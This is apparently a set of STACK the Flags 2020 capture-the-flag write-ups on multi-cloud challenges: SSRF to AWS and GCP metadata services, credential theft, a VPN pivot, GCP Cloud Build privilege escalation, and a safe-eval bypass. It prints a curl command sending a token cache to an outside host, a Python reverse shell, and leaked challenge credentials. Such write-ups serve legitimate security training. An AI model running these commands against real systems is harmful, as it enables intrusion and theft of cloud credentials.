Here’s my write-up on yet another cloud challenge with no solves titled Keep The Clouds Together... in STACK the Flags 2020 CTF organized by Government Technology Agency of Singapore (GovTech)’s Cyber Security Group (CSG).
The attack path for this challenge is much longer and complex than the other cloud challenges in the competition, further highlighting the difficulties in penetration testing of infrastructures involving multiple cloud computing vendors.
Description:
The recent arrest of an agent from COViD revealed that the punggol-digital-lock.com was part of the massive scam campaign targeted towards the citizens! It provided a free document encryption service to the citizens and now the site demands money to decrypt the previously encrypted files! Many citizens fell prey to their scheme and were unable to decrypt their files! We believe that the decryption key is broken up into parts and hidden deep within the system!
The note at https://punggol-digital-lock-portal.s3-ap-southeast-1.amazonaws.com/notes-to-covid-developers.txt has the following content:
Please get your act together. The site that is supposed load the list of affected individuals is not displaying properly.
index.html is not loading the users as expected.
For your convenience, I have also generated your git credentials. See me.
- COViD
Notice that the note is hosted on an Amazon S3 Bucket in ap-southeast-1 region named punggol-digital-lock-portal.
From the note, we can learn there is a index.html object in the punggol-digital-lock-portal S3 bucket and we should be looking for git credentials somewhere.
Let’s navigate to https://punggol-digital-lock-portal.s3-ap-southeast-1.amazonaws.com/index.html:
As what the notes mentioned, the list of affected individuals indeed failed to load.
Let’s take a peek at the JavaScript code included by the webpage:
The page attempts to fetch a JSON containing the list of affected individuals from an IP address 122.248.230.66 belonging to Amazon Elastic Computing (EC2).
cors-anywhere = SSRF to Anywhere
If we navigate to http://122.248.230.66/, we can see the following response:
This API enables cross-origin requests to anywhere.
Usage:
/ Shows help
/iscorsneeded This is the only resource on this host which is served without CORS headers.
/<url> Create a request to <url>, and includes CORS headers in the response.
If the protocol is omitted, it defaults to http (https if port 443 is specified).
Cookies are disabled and stripped from requests.
Redirects are automatically followed. For debugging purposes, each followed redirect results
in the addition of a X-CORS-Redirect-n header, where n starts at 1. These headers are not
accessible by the XMLHttpRequest API.
After 5 redirects, redirects are not followed any more. The redirect response is sent back
to the browser, which can choose to follow the redirect (handled automatically by the browser).
The requested URL is available in the X-Request-URL response header.
The final URL, after following all redirects, is available in the X-Final-URL response header.
To prevent the use of the proxy for casual browsing, the API requires either the Origin
or the X-Requested-With header to be set. To avoid unnecessary preflight (OPTIONS) requests,
it's recommended to not manually set these headers in your code.
Demo : https://robwu.nl/cors-anywhere.html
Source code : https://github.com/Rob--W/cors-anywhere/
Documentation : https://github.com/Rob--W/cors-anywhere/#documentation
This indicates that the cors-anywhere proxy application is being deployed, allowing us to be able to perform Server-Side Request Forgery (SSRF) attacks. When browsing to http://122.248.230.66/http://127.0.0.1:8080/dump-data, we get the following error message:
Not found because of proxy error: Error: connect ECONNREFUSED 127.0.0.1:8080
This indicates that the port 8080 appears to be inaccessible, hence the list of victims could not be loaded successfully.
Perhaps, the webserver is not even hosted locally!
Since we have identified the IP address 122.248.230.66 is an AWS EC2 instance, we can leverage the SSRF vulnerability to fetch information such as temporary IAM access keys from AWS Instance Metadata service:
Great! We have successfully obtained temporary security credentials for punggol-digital-lock-service assumed role user.
Here’s a quick recap on our progress before we continue on:
Enumerating punggol-digital-lock-service Role
I used WeirdAAL to automate the enumerate the permitted actions for the assumed role user user and AWS CLI v1.
There is a hidden file some-credentials-for-you-lazy-bums.txt in the punggol-digital-lock-portal S3 bucket!
Let’s fetch the hidden file:
$ aws s3 cp s3://punggol-digital-lock-portal/some-credentials-for-you-lazy-bums.txt .
download: s3://punggol-digital-lock-portal/some-credentials-for-you-lazy-bums.txt to ./some-credentials-for-you-lazy-bums.txt
The file some-credentials-for-you-lazy-bums.txt contains the following content:
covid-developer-at-843869678166
TQyWYsSH+DTixfvF9DpuZsK4aybi5zeUYpCS1ZujxOE=
Use these credentials that I have provisioned for you! The other internal web application is still under development.
The other network engineers are busy getting our networks connected.
Great! We obtained git credentials successfully. I wonder where we can use them…
git Those Repositories
That’s right! We can use it to access git repositories hosted on AWS CodeCommit source control service.
At this point, the punggol-digital-lock-api repository definitely sounds more interesting since we know that punggol-digital-lock-cors-server is likely to be the cors-anywhere proxy application, so let’s look at the punggol-digital-lock-api repository first.
Getting to the Database
In the punggol-digital-lock-api repository, there is a Node.js application.
varexpress=require('express')varapp=express()varcors=require('cors');varAWS=require("aws-sdk");varcorsOptions={origin:'http://punggol-digital-lock.internal',optionsSuccessStatus:200// some legacy browsers (IE11, various SmartTVs) choke on 204}AWS.config.loadFromPath('./node_config.json');varddb=newAWS.DynamoDB({apiVersion:'2012-08-10'});letdataStore=[];constdownload_data=()=>{returnnewPromise((resolve,reject)=>{try{varparams={ExpressionAttributeValues:{':id':{N:'101'}},FilterExpression:'id < :id',TableName:'citizens'};ddb.scan(params,function(err,data){if(err){console.log("Error",err);returnreject(null);}else{results=[]data.Items.forEach(function(element,index,array){results.push({'no_of_files':element.no_of_files.N,'cash_bounty':element.cash_bounty.N,'id':element.id.N,'name':element.name.S,'total_file_size':element.total_file_size.N});});returnresolve(results);}});}catch(err){console.error(err);}});}asyncfunctionboostrap(){dataStore=awaitdownload_data();}boostrap();app.get('/dump-data',cors(corsOptions),function(req,res,next){res.json({data:dataStore});})app.listen(8080,function(){console.log('punggol-digital-lock-api server running on port 8080')})
We can observe that there is an internal hostname punggol-digital-lock.internal and that the application fetches the list of victim users from an Amazon DynamoDB NoSQL database. Taking a closer look at the code, we can also see that the table name is citizens and that the code executes ddb.scan() to fetch records with id < 101.
Scanning the Flag from DynamoDB
Let’s try to enumerate the Amazon DynamoDB NoSQL database further.
Looks like there’s only one table citizens in the DynamoDB. Let’s try to query it and fetch all records except id = 0:
$ aws dynamodb query --table-name"citizens"--key-condition-expression'id > :id'--expression-attribute-values'{":id":{"N":"0"}}'
An error occurred (AccessDeniedException) when calling the Query operation: User: arn:aws:sts::843869678166:assumed-role/punggol-digital-lock-service/i-0da9e688ab9264a5e is not authorized to perform: dynamodb:Query on resource: arn:aws:dynamodb:ap-southeast-1:843869678166:table/citizens
Unfortunately, we don’t have the permission to do so. Instead of performing the query operation, let’s try using the scan operation to dump the table contents instead:
And we successfully get the first half of the flag: govtech-csg{Mult1_Cl0uD_
Before we continue to find the second half of the flag, let’s take a quick look at our progress at the moment:
VPN Subnet Routing
Now what? We still have not looked at the punggol-digital-lock-cors-server code repository yet.
As expected, there is an Node.js application basically creating a cors-anywhere proxy at index.js:
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// Listen on a specific host via the HOST environment variablevarhost='0.0.0.0';// Listen on a specific port via the PORT environment variablevarport=80;varcors_proxy=require('cors-anywhere');cors_proxy.createServer({originWhitelist:[],// Allow all originssetHeaders:{'x-requested-with':'cors-server'},removeHeaders:['cookie']}).listen(port,host,function(){console.log('cors-server running on '+host+':'+port);});
More importantly, there’s a note.txt:
Allow requests to be proxied to reach internal networks. Current network has routing enabled to the other VPN subnets.
That’s interesting. If the current network has routing to the other VPN subnets, perhaps we can access hosts on the other network too!
Which reminds me, we haven’t checked out the output for the permitted actions – ec2.DescribeRouteTables and ec2.DescribeVpnConnections – just yet, so let’s do that now:
Essentially, the Amazon EC2 instance has a Site-to-site IPSec VPN tunnel between 54.254.23.247 (Amazon) and 34.87.151.253 (Google Cloud).
This creates a persistent connection between the two Virtual Private Cloud (VPC) networks, allowing accessing of network resources in a Google Cloud VPC network from an Amazon VPC network and vice versa.
Let’s also view the network routes configured for the Amazon VPC:
Notice that the subnet 10.240.0.0/24 is allocated for gateway ID vgw-03a9749df3e682e4b, which is also the VpnGatewayId found in the VPN connection details.
Since the two networks are connected together by the VPN tunnel, we can try to connect to hosts in the VPN network.
To do so, we can leverage the SSRF in the punggol-digital-lock-cors-server application and brute-force against the 10.240.0.0/24 subnet to identify hosts that are alive on the network.
Note: Valid hosts in the 10.240.0.0/24 ranges from 10.240.0.1 to 10.240.0.254, so we only need to bruteforce 254 network hosts.
If a network host is unreachable via SSRF, the response will be extremely delayed. Hence, we can set a timeout of 1 second when performing our brute-force to reduce the scanning time needed.
I used ffuf to fuzz the last octet of the IP address:
Doh! There’s a HTTP webserver running on port 80 on the host all along!
Exploiting SSRF-as-a-Service (“SaaS”) Application
Great! We discovered yet another proxy application.
Even if we did not realise that this network host is actually within a Google VPC from earlier, we can still realise that pretty quickly in this next step.
Using the proxy, we try to enter http://localhost for the site and see if the response for http://localhost returns the Internal Web Proxy:
$ curl http://122.248.230.66/http://10.240.0.100/index.php?site=http://localhost
<html>
<head> </head>
<body>
<h4>Internal Web Proxy</h4>
<p>No more lock down! - by COViD devops team<p>
<form action="/index.php"method="get">
<label for="site">Site:</label>
<input type="text"id="site"name="site">
<input type="submit"value="Visit">
</form>
Failed to parse address "localhost"(error number 0)
</body>
</html>
Seems like there’s some parsing errors in the URL supplied. Maybe it requires a port number to be explicitly specified?
$ curl http://122.248.230.66/http://10.240.0.100/index.php?site=http://localhost:80
<html>
<head> </head>
<body>
<h4>Internal Web Proxy</h4>
<p>No more lock down! - by COViD devops team<p>
<form action="/index.php"method="get">
<label for="site">Site:</label>
<input type="text"id="site"name="site">
<input type="submit"value="Visit">
</form>
<br><hr><br>HTTP/1.1 400 Bad Request
Date: Thu, 10 Dec 2020 05:53:14 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 366
Connection: close
Content-Type: text/html;charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at gcp-vm-asia-southeast1.asia-southeast1-a.c.stack-the-flags-296309.internal Port 80</address>
</body></html>
</body>
</html>
Interestingly, we got a 404 Bad Request error, leaking the internal hostname of a instance hosted using GCP Compute Engine (inferred from the gcp-* hostname).
If we fix the request by adding a trailing slash to the URL http://122.248.230.66/http://10.240.0.100/index.php?site=http://localhost:80, we can use the Internal Web Proxy application to fetch itself:
Now, we have a working SSRF within the Google VPC network assigned to the GCP Compute Engine instance!
Can you smell the flag yet? We are so close to the flag now…
Let’s pause for a minute to see where we are at now:
Metadata FTW
What’s next? Well, we can enumerate the GCP instance metadata server to get temporary service account credentials.
$ curl http://122.248.230.66/http://10.240.0.100/index.php?site=http://169.254.169.254:80/computeMetadata/v1beta1/instance/
...
HTTP/1.1 200 OK
Metadata-Flavor: Google
Content-Type: application/text
ETag: 2f6048afc5ce2feb
Date: Thu, 10 Dec 2020 06:16:09 GMT
Server: Metadata Server for VM
Connection: Close
Content-Length: 183
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
attributes/
description
disks/
guest-attributes/
hostname
id
image
licenses/
machine-type
maintenance-event
name
network-interfaces/
preempted
scheduling/
service-accounts/
tags
zone
We see that the depreciated v1beta1 metadata endpoint is still enabled, which is great news for us because that way, we don’t have to set the Metadata-Flavor: Google HTTP header in our requests. There doesn’t appear to be a way to make the Internal Web Proxy application set a custom HTTP header for us, so we won’t be able to fetch metadata from the v1 metadata endpoint via SSRF:
$ curl http://122.248.230.66/http://10.240.0.100/index.php?site=http://169.254.169.254:80/computeMetadata/v1/
...
HTTP/1.1 403 Forbidden
Metadata-Flavor: Google
Date: Thu, 10 Dec 2020 06:40:48 GMT
Content-Type: text/html; charset=UTF-8
Server: Metadata Server for VM
Connection: Close
Content-Length: 1636
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
...
Here, we can see a service account covid-devops@stack-the-flags-296309.iam.gserviceaccount.com assumes the covid-devops role. The scope of the service account is cloud-platform, which looks really promising. Lastly, we also managed to fetch the OAuth token associated with the service account, allowing us to authenticate and perform actions on behalf of the service account.
We will probably also need the project ID so let’s grab that from the metadata server:
Looking at the list of Google Cloud APIs available, we see that there are many APIs available for us to use. Note that not all APIs are enabled or accessible by the service account, so we really should start by figuring out what is accessible to us.
We observe a few interesting permissions for the covid_devops role. Since we are looking for the flag, perhaps the flag is stored as an object in a GCP Cloud Storage bucket. However, note that we only have the following permissions relating to GCP Cloud Storage:
storage.buckets.create
storage.buckets.get
storage.buckets.list
storage.objects.create
Without storage.objects.get permission, we may be unable to read objects stored in the bucket.
Nonetheless, let’s proceed on to enumerate the list of buckets using GCP’s Cloud Storage API:
We see that there’s a bucket named punggol-digital-lock-key. Perhaps we need to escalate our privileges to another user with storage.objects.get permissions. Reviewing the privileges of the covid_devops role, we see that there is cloudbuild.builds.create IAM permission.
Road to Impersonating the Cloud Build Service Account
Before we continue, do install the googleapiclient dependency using:
$ pip3 install google-api-python-client --user
Then, grab the exploit script and run it.
In this example, the listening host is 3.1.33.7 and the listening port is 31337:
$ git clone https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
$ cd GCP-IAM-Privilege-Escalation/ExploitScripts/
$ python3 cloudbuild.builds.create.py -p stack-the-flags-296309 -i 3.1.33.7:31337
No credential file passed in, enter an access token to authenticate? (y/n) y
Enter an access token to use for authentication: ya29.c.Ko0B6AcqN41ISFTTWIiitNsHfjiOeeKUDpQfzuV8pA1Fo6PC1PkjRO_OkjQBXQFcGIAWY-4d03toeSJX9KU-Nwq1W9z31H8psU61-dADX3EzP447Pq5twnpsp144R3IKmriDOdGGtmFRj2IX8oOWacHwyT17lV9t8wne7xjHz_uKK7qSPcTUVo8dkZ4gcPnU
{"name": "operations/build/stack-the-flags-296309/YTkzZTZmYTMtOWFmOC00YWFjLTg4NTYtNzRlZjlkNGExZGQw",
"metadata": {"@type": "type.googleapis.com/google.devtools.cloudbuild.v1.BuildOperationMetadata",
"build": {"id": "a93e6fa3-9af8-4aac-8856-74ef9d4a1dd0",
"status": "QUEUED",
"createTime": "2020-12-10T07:15:13.788132684Z",
"steps": [{"name": "python",
"args": ["-c",
"import os;os.system(\"curl -d @/root/tokencache/gsutil_token_cache 3.1.33.7:31337\")"],
"entrypoint": "python"}],
"timeout": "600s",
"projectId": "stack-the-flags-296309",
"logsBucket": "gs://605021491171.cloudbuild-logs.googleusercontent.com",
"options": {"logging": "LEGACY"},
"logUrl": "https://console.cloud.google.com/cloud-build/builds/a93e6fa3-9af8-4aac-8856-74ef9d4a1dd0?project=605021491171",
"queueTtl": "3600s",
"name": "projects/605021491171/locations/global/builds/a93e6fa3-9af8-4aac-8856-74ef9d4a1dd0"}}}
Web server started at 0.0.0.0:31337.
Waiting for token at 3.1.33.7:31337...
$
Strange! The access token for the GCP Cloud Build service account is not returned to us!
Perhaps something went wrong. Let’s modify the script to get a reverse shell and investigate further:
Add this line and update the host/port just before the build_body dict:
handler=socketserver.TCPServer(('',int(port)),myHandler)print(f'Web server started at 0.0.0.0:{port}.')print(f'Waiting for token at {ip}:{port}...\n')handler.handle_request()
With these:
print(f'Waiting for reverse shell at {ip}:{port}...\n')importos;os.system(f"nc -lnvp {port}")
Then, re-run the application again:
$ sudo python3 cloudbuild.builds.create.py -p stack-the-flags-296309 -i 3.1.33.7:31337
No credential file passed in, enter an access token to authenticate? (y/n) y
Enter an access token to use for authentication: ya29.c.Ko0B6AcqN41ISFTTWIiitNsHfjiOeeKUDpQfzuV8pA1Fo6PC1PkjRO_OkjQBXQFcGIAWY-4d03toeSJX9KU-Nwq1W9z31H8psU61-dADX3EzP447Pq5twnpsp144R3IKmriDOdGGtmFRj2IX8oOWacHwyT17lV9t8wne7xjHz_uKK7qSPcTUVo8dkZ4gcPnU
{"name": "operations/build/stack-the-flags-296309/MTEzMjBmN2QtNjMzOS00OTMxLTk5NWMtM2ZiZWRkYTNmYWFl",
"metadata": {"@type": "type.googleapis.com/google.devtools.cloudbuild.v1.BuildOperationMetadata",
"build": {"id": "11320f7d-6339-4931-995c-3fbedda3faae",
"status": "QUEUED",
"createTime": "2020-12-10T07:15:14.173481293Z",
"steps": [{"name": "python",
"args": ["-c",
"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"3.1.33.7\",31337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")"],
"entrypoint": "python"}],
"timeout": "600s",
"projectId": "stack-the-flags-296309",
"logsBucket": "gs://605021491171.cloudbuild-logs.googleusercontent.com",
"options": {"logging": "LEGACY"},
"logUrl": "https://console.cloud.google.com/cloud-build/builds/11320f7d-6339-4931-995c-3fbedda3faae?project=605021491171",
"queueTtl": "3600s",
"name": "projects/605021491171/locations/global/builds/11320f7d-6339-4931-995c-3fbedda3faae"}}}
Waiting for reverse shell at 3.1.33.7:31337...
Listening on [0.0.0.0] (family 0, port 8080)
Connection from 34.73.245.117 52068 received!
root@aecc318d6dc4:/workspace#
Hooray! We get a root shell! But remember, our goal is not to achieve root on a Cloud Build container, so let’s continue on to get the access token for the Cloud Build service account.
root@aecc318d6dc4:/workspace# cat /root/tokencache/gsutil_token_cache
cat /root/tokencache/gsutil_token_cache
cat: /root/tokencache/gsutil_token_cache: No such file or directory
Oh no. The exploit script failed because the access token cached for use by gsutil is missing!
There are two ways to get the access token from this point on:
Method 1: Query the Metadata Server directly
Method 2: Install gsutil and make it fetch the access token for you
We finally see the second half of the flag stored as an object in the punggol-digital-lock-key bucket!
Does it also have the storage.objects.get permission?
Yes it does! And there we have it! Combining both pieces of the flag together, we get:
govtech-csg{Mult1_Cl0uD_4pPro4ch_Is_G00d}
Complete Attack Path
Here’s an overview of the complete attack path for this challenge:
Thanks for reading my final write-up on the challenges from STACK the Flags 2020 CTF!
It was fun solving these cloud challenges and gaining a much better understanding of the various services offered by cloud vendors as well as knowing how to perform penetration testing on cloud computing environments.
Here’s a write-up on a cloud challenge titled Hold the Line! Perimeter Defences Doing It's Work! which I solved in STACK the Flags 2020 CTF organized by Government Technology Agency of Singapore (GovTech)’s Cyber Security Group (CSG). Unsurprisingly, there were quite a number of solves since the challenge is rather simple and fairly straightforward.
Hold the Line! Perimeter Defences Doing It’s Work! Cloud Challenge
Description:
Apparently, the lead engineer left the company (“Safe Online Technologies”). He was a talented engineer and worked on many projects relating to Smart City. He goes by the handle c0v1d-agent-1. Everyone didn’t know what this meant until COViD struck us by surprise. We received a tip-off from his colleagues that he has been using vulnerable code segments in one of a project he was working on! Can you take a look at his latest work and determine the impact of his actions! Let us know if such an application can be exploited!
Examining the client-side source code, we can see that the main JavaScript file loaded is http://lcyw7.tax-rebate-checker.cf/static/js/main.a6818a36.js, which appears to be webpack-ed. Luckily for us, the source mapping file is also available to us at http://lcyw7.tax-rebate-checker.cf/static/js/main.a6818a36.js.map.
Using Chrome DevTools, we can inspect the original unpacked source files by navigating to the Sources Tab in the top navigation bar, then click on the webpack:// pseudo-protocol in the left sidebar as such:
importReactfrom'react';importReactDOMfrom'react-dom';importaxiosfrom'axios';classMyFormextendsReact.Component{constructor(){super();this.state={loading:false,message:''};this.onInputchange=this.onInputchange.bind(this);this.onSubmitForm=this.onSubmitForm.bind(this);}renderMessage(){returnthis.state.message;}renderLoading(){return'Please wait...';}onInputchange(event){this.setState({[event.target.name]:event.target.value});}onSubmitForm(){letcontext=this;this.setState({loading:true,message:"Loading..."})// any changes, please fix at this [https://github.com/c0v1d-agent-1/tax-rebate-checker]axios.post('https://cors-anywhere.herokuapp.com/https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker',{age:btoa(this.state.age),salary:btoa(this.state.salary)}).then(function(response){context.setState({loading:false,message:"You will get (SGD) $"+Math.ceil(response.data.results)+" off your taxes!"})}).catch(function(error){console.log(error);});}render(){return(<div><div><label>AnnualSalary:<inputname="salary"type="number"value={this.state.salary}onChange={this.onInputchange}/>
</label>
</div>
<div><label>Age:<inputname="age"type="number"value={this.state.age}onChange={this.onInputchange}/>
</label>
</div>
<div><buttononClick={this.onSubmitForm}>Submit</button>
</div>
<br></br>
<p>{this.state.loading?this.renderLoading():this.renderMessage()}</p>
</div>
);}}ReactDOM.render(<MyForm/>,document.getElementById('root'));
We can see that there is a comment pointing to a GitHub Repository at https://github.com/c0v1d-agent-1/tax-rebate-checker.
Even if this comment is not provided, we will still be able to find this repository easily by:
Searching for c0v1d-agent-1 on GitHub
Searching for tax-rebate-checker on GitHub
Back to the source code of the React application, we also see the following code:
We discover the use of cors-anywhere proxy, a service which basically helps to relay the request to the target URL and adding Cross-Origin Resource Sharing (CORS) headers. In other words, the target URL is https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker.
Examining the target URL carefully, we can observe that it is a REST API in Amazon API Gateway. Amazon API Gateway is also often used with AWS Lambda, which is something worth noting before we move on to explore what’s in the GitHub repository.
Analysing GitHub Repository
At https://github.com/c0v1d-agent-1/tax-rebate-checker, we see a Node.js application.
The default README mentions Deploy to AWS Lambda service, which is what we noted earlier on already.
Let’s look at the source code of the application. The source code of index.js is shown below:
{"name":"pension-shecker-lambda","version":"1.0.0","description":"","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1"},"author":"","license":"ISC","dependencies":{"safe-eval":"^0.3.0"}}
This seems to return the process global object which allows us to control the current Node.js process.
Even though safe-eval prevents use of require() directly, we can bypass this restruction by using process.mainModule.require(), which provides an alternative way to retrieve require.main.
Now that we have a good idea on how to perform remote code execution on the AWS Lambda function, let’s also take a closer further at the suspicious GitHub issue at https://github.com/c0v1d-agent-1/tax-rebate-checker/issues/1
One of the libraries used by the function was vulnerable.
Resolved by attaching a WAF to the prod deployment.
WAF will not to be attached staging deployment there is no real impact.
Recall that the application at http://lcyw7.tax-rebate-checker.cf/ issues requests to https://cors-anywhere.herokuapp.com/https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker, which effectively forwards incoming requests to https://nymcmhv6oa.execute-api.ap-southeast-1.amazonaws.com/prod/tax-rebate-checker – the prod stage!
If there’s a WAF on the prod stage, perhaps we can first target the non-protected staging deployment first and attempt to bypass the WAF if need be.
Before we can try to obtain remote code execution on the AWS Lambda function instance, we need to correctly format our input to the server.
As discussed previously, the Tax Rebate Checker application accepts a JSON input with both age and salary Base64-encoded.
Now, let’s use curl to run the AWS Lambda function on the staging deployment to try to obtain the environment variables set in the AWS Lambda function instance:
Last weekend, I participated in STACK the Flags 2020 CTF organized by Government Technology Agency of Singapore (GovTech)’s Cyber Security Group (CSG). In this write-up, I will be discussing one of the cloud challenges with no solves – Share and deploy the containers!.
I was extremely close to solving this particular challenge during the competition, but there were some hiccups along the way and I didn’t manage to solve it within the time limit.
In retrospect, the Share and deploy the containers! cloud challenge is…
Difficult to solve,
Time-consuming to solve,
Confusing if you don’t understand what the various cloud services are and how they are being used,
Messy if you did not keep track of the details while working on the challenge properly (the sheer amount of information is overwhelming),
Using common vulnerabilities and also highlights several bad coding practices
Quite well-created despite having some bugs which hindered my progress greatly,
Relevant to and reflective of real-world cloud penetration testing (it’s tedious and challenging!)
Overall, it was really fun solving this challenge. Kudos to Tan Kee Hock from GovTech’s CSG for creating this amazing challenge!
Share and deploy the containers!
Description:
An agent reportedly working for COViD has been arrested. In his work laptop, we discovered a note from the agent’s laptop. The note contains a warning message from COViD to him!
Can you help to investigate what are the applications the captured agent was developing and what vulnerabilities they are purposefully injecting into the applications?
The note at https://secretchannel.blob.core.windows.net/covid-channel/notes-from-covid.txt has the following content:
Agent 007895421,
COViD wants you to inject vulnerabilities in projects that you are working on. Previously you reported that you are working on two projects the upcoming National Pension Records System (NPRS). Please inject vulnerabilities in the two applications.
Regards,
Handler X
From the note, we now learn that there are two projects in the upcoming National Pension Records System (NPRS) which contains some vulnerabilities.
It’s not immediately clear what the final objective is for this challenge, but let’s just proceed on regardless.
Finding Hidden Azure Blobs
Notice that the URL of the note is in the format http://<storage-account>.blob.core.windows.net/<container>/<blob>, which indicates that the note is stored on Azure Blob storage. If you are unfamiliar with Azure Blob storage, do check out the documentation for Azure Blob storage.
Basically, using Azure Blob storage, one can store blobs (files) in containers (directories) in their storage account (similar to Amazon S3 buckets or Google Cloud Storage buckets). In other words, by examining the Azure Blob URL again, we can deduce that the storage account name is secretchannel, the container name is covid-channel and the blob name is notes-from-covid.txt
Using the Azure Storage REST API, we can fetch additional information about the storage account. I first attempted to list all containers in the storage account by visiting https://secretchannel.blob.core.windows.net/?comp=list, but a ResourceNotFound error is returned, indicating that a public user does not have sufficient privileges to list containers. I then tried to list all blobs in the covid-channel container by visiting https://secretchannel.blob.core.windows.net/covid-channel/?restype=container&comp=list&include=metadata, and the following XML response is returned:
<?xml version="1.0" encoding="utf-8"?><EnumerationResultsContainerName="https://secretchannel.blob.core.windows.net/covid-channel/"><Blobs><Blob><Name>notes-from-covid.txt</Name><Url>https://secretchannel.blob.core.windows.net/covid-channel/notes-from-covid.txt</Url><Properties><Last-Modified>Thu, 19 Nov 2020 10:14:22 GMT</Last-Modified><Etag>0x8D88C73E2D218F9</Etag><Content-Length>285</Content-Length><Content-Type>text/plain</Content-Type><Content-Encoding/><Content-Language/><Content-MD5>oGU6sX8DewYhX0MDzxGyKg==</Content-MD5><Cache-Control/><BlobType>BlockBlob</BlobType><LeaseStatus>unlocked</LeaseStatus></Properties><Metadata/></Blob><Blob><Name>project-data.txt</Name><Url>https://secretchannel.blob.core.windows.net/covid-channel/project-data.txt</Url><Properties><Last-Modified>Wed, 02 Dec 2020 16:53:44 GMT</Last-Modified><Etag>0x8D896E2D456CDFD</Etag><Content-Length>385</Content-Length><Content-Type>text/plain</Content-Type><Content-Encoding/><Content-Language/><Content-MD5>jVr3QLDwS/WlRVCQ0034HQ==</Content-MD5><Cache-Control/><BlobType>BlockBlob</BlobType><LeaseStatus>unlocked</LeaseStatus></Properties><Metadata/></Blob></Blobs><NextMarker/></EnumerationResults>
Nice! It appears that public users are permitted to list blobs in the covid-channel container, allowing us to find a hidden blob (project-data.txt) within.
Note: You can also discover and fetch the hidden blob using AzCopy tool instead:
$ ./azcopy cp'https://secretchannel.blob.core.windows.net/covid-channel/'.--recursive
INFO: Scanning...
INFO: Any empty folders will not be processed, because source and/or destination doesn't have full folder support
Job 8c7b23b9-bfb4-6b97-7e1d-025d3d1d71b8 has started
Log file is located at: /home/cloud/.azcopy/8c7b23b9-bfb4-6b97-7e1d-025d3d1d71b8.log
0.0 %, 0 Done, 0 Failed, 2 Pending, 0 Skipped, 2 Total,
Job 8c7b23b9-bfb4-6b97-7e1d-025d3d1d71b8 summary
Elapsed Time (Minutes): 0.0333
Number of File Transfers: 2
Number of Folder Property Transfers: 0
Total Number of Transfers: 2
Number of Transfers Completed: 2
Number of Transfers Failed: 0
Number of Transfers Skipped: 0
TotalBytesTransferred: 670
Final Job Status: Completed
$ ls -al covid-channel/
total 16
drwxrwxr-x 2 cloud cloud 4096 Dec 8 08:10 .
drwxrwxr-x 10 cloud cloud 4096 Dec 8 08:10 ..
-rw-r--r-- 1 cloud cloud 285 Dec 8 08:10 notes-from-covid.txt
-rw-r--r-- 1 cloud cloud 385 Dec 8 08:10 project-data.txt
Bye Azure, Hello Amazon Web Services!
Viewing the hidden blob at https://secretchannel.blob.core.windows.net/covid-channel/project-data.txt returns the following contents:
National Pension Records System (NPRS)
* Inject the vulnerabilities in the two NPRS sub-systems.
(Employee Pension Contribution Upload Form and National Pension Registry)
Containers are uploaded.
---> To provide update to Handler X
Generated a set of credentials for the handler to check the work.
-- Access Credentials --
AKIAU65ZHERXMQX442VZ
2mA8r/iVXcb75dbYUQCrqd70CLwo6wjbR7zYSE0i
We can easily identify that the access credentials provided is a pair of AWS access credentials since AWS access key IDs start with either AKIA (for long-term credentials) or ASIA (for tempoaray credentials).
Before we continue on, here’s a quick overview of the attack path so far:
Enumerating NRPS Handler
To enumerate the actions permitted using the access credentials obtained, I used WeirdAAL (AWS Attack Library)
Do follow the setup guide carefully and configure the AWS keypair.
Then, run the recon module of WeirdAAL to let it attempt to enumerate all the AWS services and identify which services the user has permissions to use.
The above output refers to the services and the permitted actions by the user (e.g. describe-instances for ec2 service).
For convenience, I also installed and used AWS CLI version 1 to invoke the permitted actions listed above after importing the credentials.
Note: If you are using AWS CLI v2, note that your results may vary due to breaking changes from AWS CLI v1 to v2.
We can see that it is possible to fetch details about the AWS IAM user nprs-handler in account 341301470318.
Pulling Images from Amazon ECR
Recall that earlier on, we noted the use of containers. If Amazon Elastic Container Registry (ECR) is used, then perhaps we can connect to the ECR and pull the Docker images of the two subsystems!
Using AWS CLI, we can list all repositories in the ECR:
Great! We can list the image repositories in the Amazon ECR. Following the instructions listed on the documentation for Amazon ECR registries, we can login to the Amazon ECR successfully:
$ aws ecr get-login-password --profile nprs-handler --region ap-southeast-1 | docker login --username AWS --password-stdin 341301470318.dkr.ecr.ap-southeast-1.amazonaws.com
WARNING! Your password will be stored unencrypted in /home/cloud/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store
Login Succeeded
Now that we have logged in to the Amazon ECR successfully, we can pull the images for both applications from the Amazon ECR and analyse the Docker images later on.
From the Amazon Resource Name (ARN) of the only Load Balancer deployed, we can easily identify that it is an Application Load Balancer (ALB) by referencing the documentation for the Elastic Load Balancing. The ALB is accessible at http://epcuf-cluster-alb-1647361482.ap-southeast-1.elb.amazonaws.com, and visiting it, we can access the web application for Employee Pension Contribution Upload Form:
Clicking on the Sample document link on the contribution upload form returns a 404 Not Found error page, so likely we need to investigate the docker image for this application to understand its functionalities and hopefully discover some vulnerabilities in the web application.
Analysing Docker Image for Contribution Upload Form
To examine the filesystem of the Docker image, we can simply run the Docker image in a container and execute an interactive shell session in the container:
$ sudo docker run -it 341301470318.dkr.ecr.ap-southeast-1.amazonaws.com/employee-pension-contribution-upload-form /bin/bash
root@5e0d24bea735:/app# ls-alR
.:
total 20
drwxr-xr-x 1 root root 4096 Nov 28 19:45 .
drwxr-xr-x 1 root root 4096 Dec 8 18:37 ..
-rw-r--r-- 1 root root 2735 Nov 28 19:41 app.py
drwxr-xr-x 2 root root 4096 Nov 22 23:12 files
